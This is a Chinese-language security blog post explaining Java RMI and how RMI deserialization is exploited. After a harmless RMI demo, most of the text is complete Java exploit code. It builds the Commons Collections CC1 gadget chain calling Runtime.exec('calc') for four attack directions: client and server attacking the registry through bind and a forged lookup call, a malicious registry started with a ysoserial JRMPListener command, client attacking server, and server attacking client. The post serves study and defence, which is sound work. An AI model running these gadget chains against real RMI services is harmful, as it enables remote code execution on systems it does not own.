Java安全之RMI反序列化

2023-05-24 14:33:35 浏览数 (3)

  • RMI

RPC(Remote Procedure Call)远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC的诞生起源于分布式的使用,最开始的系统都是在一台服务器上,这样本地调用本无问题。但随着网络爆炸式的增长,单台服务器已然不满足需求,出现了分布式,接口和实现类分别放到了两个服务器上,怎么调用呢?JVM不同,内存地址不同,不可能直接访问调用。由于 RPC 的使用还是过于麻烦,Java RMI 便由此产生。

RMI(Remote Method Invocation),即 Java 远程方法调用,它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法,可以像调用本地 JAVA 对象的方法一样调用远程对象的方法,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。可以用此方法调用的任何对象必须实现该远程接口。

它可以帮助我们跨站调用信息,也可以避免重复造轮子

RMI运行过程

首先写一个简单的RMI demo:

定义客户端和服务端共享的接口

代码语言:javascript复制
package Test;

import java.rmi.Remote;
import java.rmi.RemoteException;

// 使用的接口必须继承或实现java.rmi.Remote,只有被Remote标识的接口内方法才可以被远程调用
public interface Hello extends Remote{
    // 接口内的每个方法都要声明抛出java.rmi.RemoteException异常
    String sayHello(String name) throws RemoteException;  
}

然后写这个接口的实现类

代码语言:javascript复制
package Test.server;

import Test.Hello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// 接口实现类应直接或间接继承java.rmi.server.UnicastRemoteObject类
public class HelloImpl extends UnicastRemoteObject implements Hello {
    // serialVersionUID属性必须存在且需要和客户端一致才可进行反序列化,否则会报错,此属性如果是默认的话是可以被计算的
    private static final long serialVersionID = 1L;
    // // 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
    protected HelloImpl() throws RemoteException {
        super();
    }

    public String sayHello(String name) {
        return "Hello "   name   "!";
    }
}

远程对象必须继承java.rmi.server.UniCastRemoteObject类,这样才能保证客户端访问获得远程对象时,该远程对象将会通过JRMP导出远程对象把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为**“存根”(Stub)**,而服务器端本身已存在的远程对象则称之为“骨架”(skeleton)。

接着就可以写服务端

代码语言:javascript复制
package Test.server;

import Test.Hello;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) throws Exception {
        // 生成Stub和skeleton,并返回Stub代理引用
        Hello hello = new HelloImpl();
        // 创建并启动RMI Service,并绑定端口,这里选择RMI默认端口1099
        LocateRegistry.createRegistry(1099);
        // 将Stub代理引用绑定到Registry服务的url上,不必知道服务端实例化的名称是什么
        Naming.rebind("rmi://localhost:1099/hello", hello);
        System.out.println("Hello Server is working, listening on port 1099...");
    }
}

这个类的作用就是注册远程对象,向客户端提供远程对象服务。将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了

接着继续编写客户端

代码语言:javascript复制
package Test.client;

import Test.Hello;

import java.rmi.Naming;

public class HelloClient {
    public static void main(String[] args) throws Exception{
        // 从RMI Registry中请求Stub获取远程对象
        Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
        // 通过Stub调用远程接口,在服务端调用,在客户端输出
        System.out.println(hello.sayHello("ph0ebus"));
    }
}

先启动服务端,再启动客户端即可看到正常回显Hello ph0ebus!,RMI通信过程就如下图所示,图片来自p神

RMI反序列化攻击

对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使其将这个对象按任何一个存在于class path中的可序列化类来反序列化。因此对于三者(客户端、服务端和注册中心),他们可以互相攻击,以此产生了六种攻击方向。

服务端与客户端攻击注册中心

在低版本的 JDK 中,Server 与 Registry 是可以不在一台服务器上的,在 Server 与 Registery 分离的时候对Registry攻击可以再拿下 Registery 的机器

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用

与注册中心交互的方式有:list()bind()rebind()unbindlookup()

bind() & rebind()

远程调用bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的继承Remote类的对象即可,这里用cc1链示例

代码语言:javascript复制
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class HackRegistry {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "ph0ebus");

        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // AnnotationInvocationHandler类的对象,必须要转为Remote类的对象
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Remote proxyObject = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
        
        LocateRegistry.createRegistry(1099);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
        registry_remote.bind("HelloRegistry", proxyObject);
        System.out.println("rmi start at 1099");
    }
}

这里用到了动态代理的知识,proxyObject被反序列化时会进入到AnnotationInvocationHandler类中的invoke方法从而触发漏洞链。除了bind()操作之外,rebind()也可以这样利用。但是lookupunbind只有一个String类型的参数,不能直接传递一个对象反序列化。得寻找其他的方式。

unbind & lookup

unbind的利用方式跟lookup是一样的,这里以lookup()为例,注册中心在处理请求时,是直接进行反序列化再进行类型转换为String类型,因为这里只能传输字符串,所以要想办法控制发送过去的值成为一个对象,这里就得模拟原来的lookup()修改代码使其可以传入obj

代码语言:javascript复制
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class HackRegistry {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "ph0ebus");

        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // AnnotationInvocationHandler类的对象,必须要转为Remote类的对象
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Remote proxyObject = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
        
        LocateRegistry.createRegistry(1099);
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);

        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyObject);
        ref.invoke(var2);

        registry_remote.lookup("HelloRegistry");
        System.out.println("rmi start at 1099");
    }
}
注册中心攻击客户端和服务端

客户端和服务端与注册中心的参数交互都是把数据序列化和反序列化来进行的,过程中肯定也是存在一个对注册中心返回的数据的反序列化的处理,这样就存在反序列化漏洞,用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用

代码语言:javascript复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

客户端访问

代码语言:javascript复制
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();  // bind(),rebind(),unbind(),lookup()
    }
}
客户端攻击服务端

如果远程对象接收一个对象作为参数,那么就可以传递一个恶意对象进行漏洞利用,以cc1链为例

代码语言:javascript复制
// Interface
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hacker extends Remote {
    public void hacked(Object object)throws RemoteException;
}
代码语言:javascript复制
// Client
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class HackServer {
    public static void main(String[] args) throws Exception{
        Hacker hacker = (Hacker)Naming.lookup("rmi://localhost:1099/hack");
        hacker.hacked(getHackObject());
    }
    public static Object getHackObject() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "ph0ebus");

        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);
        return obj;
    }
}
代码语言:javascript复制
// Server
package RMI;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class HackedSever {
    public static void main(String[] args) throws Exception {
        Hacker hacker = new HackerImpl();
        LocateRegistry.createRegistry(1099);
        // 将Stub代理引用绑定到Registry服务的url上
        Naming.rebind("rmi://localhost:1099/hack", hacker);
    }
    public static class HackerImpl extends UnicastRemoteObject implements Hacker {
        protected HackerImpl() throws RemoteException {
            super();
        }

        @Override
        public void hacked(Object obj) throws RemoteException {
            System.out.println(obj);
        }
    }
}
服务端攻击客户端

和上面差不太多,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了

代码语言:javascript复制
// Interface
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hacker extends Remote {
    public Object hack() throws RemoteException;
}
代码语言:javascript复制
// Server
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class HackedSever {
    public static void main(String[] args) throws Exception {
        Hacker hacker = new HackerImpl();
        LocateRegistry.createRegistry(1099);
        // 将Stub代理引用绑定到Registry服务的url上
        Naming.rebind("rmi://localhost:1099/hack", hacker);
    }
    public static class HackerImpl extends UnicastRemoteObject implements Hacker {
        protected HackerImpl() throws RemoteException {
            super();
        }

        @Override
        public Object hack() throws RemoteException {
            Object obj = null;
            try{
                Transformer[] transformers = new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                        new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                };
                ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
                Map innerMap = new HashMap();
                innerMap.put("value", "ph0ebus");

                Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
                Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
                Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
                constructor.setAccessible(true);
                obj = constructor.newInstance(Retention.class, outerMap);
            }catch (Exception e){
                e.printStackTrace();
            }
            return obj;
        }
    }
}
代码语言:javascript复制
// Client
package RMI;

import java.rmi.Naming;

public class HackedClient {
    public static void main(String[] args) throws Exception {
        Hacker hacker = (Hacker) Naming.lookup("rmi://localhost:1099/hack");
        hacker.hack();
    }
}

参考链接: JAVA RMI 反序列化攻击 & JEP290 Bypass分析 | Threezh1 Java反序列化漏洞(一)–RMI协议原理/详解及流量分析 | yq1ng

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞